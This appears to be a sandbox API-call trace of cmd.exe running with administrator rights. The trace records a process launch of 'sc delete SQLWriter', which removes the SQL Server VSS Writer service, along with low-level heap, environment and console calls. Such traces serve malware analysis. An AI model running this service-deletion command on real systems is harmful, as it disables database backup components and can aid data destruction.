lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.026] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.026] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.026] GetLastError () returned 0x2 [0065.026] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.026] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.026] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0065.026] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0065.026] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.027] GetProcessHeap () returned 0x1b0000 [0065.027] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0065.027] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.027] GetProcessHeap () returned 0x1b0000 [0065.027] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa0) returned 0x1c9180 [0065.027] GetProcessHeap () returned 0x1b0000 [0065.027] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa0 [0065.027] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLWriter") returned 1 [0065.027] GetProcessHeap () returned 0x1b0000 [0065.027] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0065.027] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0065.027] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0065.028] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0065.028] GetProcessHeap () returned 0x1b0000 [0065.028] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.028] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.029] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.029] GetProcessHeap () returned 0x1b0000 [0065.030] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0065.030] GetProcessHeap () returned 0x1b0000 [0065.030] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0065.030] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLWriter", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLWriter", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete SQLWriter", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0xa20, dwThreadId=0xa2c)) returned 1 [0065.033] CloseHandle (hObject=0x54) returned 1 [0065.033] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0065.033] GetProcessHeap () returned 0x1b0000 [0065.033] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0065.033] GetEnvironmentStringsW () returned 0x1d1b10* [0065.033] GetProcessHeap () returned 0x1b0000 [0065.033] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0065.034] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.034] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0065.034] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd6000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0065.034] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0065.172] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0065.172] CloseHandle (hObject=0x50) returned 1 [0065.172] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0065.172] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0065.172] GetProcessHeap () returned 0x1b0000 [0065.172] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.172] GetEnvironmentStringsW () returned 0x1d1b10* [0065.172] GetProcessHeap () returned 0x1b0000 [0065.172] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0065.172] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.172] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0065.172] GetProcessHeap () returned 0x1b0000 [0065.172] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.172] GetEnvironmentStringsW () returned 0x1d1b10* [0065.172] GetProcessHeap () returned 0x1b0000 [0065.172] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0065.172] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.172] GetProcessHeap () returned 0x1b0000 [0065.172] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0065.172] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0065.172] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0065.173] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.173] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0065.173] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.173] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0065.173] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.173] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0065.173] GetConsoleOutputCP () returned 0x1b5 [0065.174] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.174] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.174] GetProcessHeap () returned 0x1b0000 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0065.174] GetProcessHeap () returned 0x1b0000 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0065.174] GetProcessHeap () returned 0x1b0000 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0065.174] GetProcessHeap () returned 0x1b0000 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0065.174] GetProcessHeap () returned 0x1b0000 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0065.174] GetProcessHeap () returned 0x1b0000 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0065.174] GetProcessHeap () returned 0x1b0000 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0065.174] GetProcessHeap () returned 0x1b0000 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0065.174] GetProcessHeap () returned 0x1b0000 [0065.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0065.174] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0065.175] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.175] GetFileType (hFile=0x120) returned 0x3 [0065.175] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.175] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0065.175] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0065.175] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.175] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0065.175] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0065.175] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.175] GetFileType (hFile=0x120) returned 0x3 [0065.175] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0065.175] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0065.175] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.175] GetFileType (hFile=0xb8) returned 0x3 [0065.175] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.175] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.175] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.175] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLWriter\nTRY130\ne\n") returned 1 [0065.175] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.175] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.175] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLWriter\nTRY130\ne\n") returned 1 [0065.176] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.176] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.176] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLWriter\nTRY130\ne\n") returned 1 [0065.176] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.176] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.176] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete SQLWriter\nTRY130\ne\n") returned 1 [0065.176] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.176] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.176] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete SQLWriter\nTRY130\ne\n") returned 1 [0065.176] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.176] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.176] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLWriter\nTRY130\ne\n") returned 1 [0065.176] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.176] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.176] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLWriter\nTRY130\ne\n") returned 1 [0065.176] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.176] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.176] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te SQLWriter\nTRY130\ne\n") returned 1 [0065.176] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.176] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.177] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e SQLWriter\nTRY130\ne\n") returned 1 [0065.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.177] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" SQLWriter\nTRY130\ne\n") returned 1 [0065.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.177] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"QLWriter\nTRY130\ne\n") returned 1 [0065.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.177] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="MLWriter\nTRY130\ne\n") returned 1 [0065.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.177] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="SWriter\nTRY130\ne\n") returned 1 [0065.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.177] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="Sriter\nTRY130\ne\n") returned 1 [0065.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.177] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="Qiter\nTRY130\ne\n") returned 1 [0065.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.178] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.178] MultiByteToWideChar 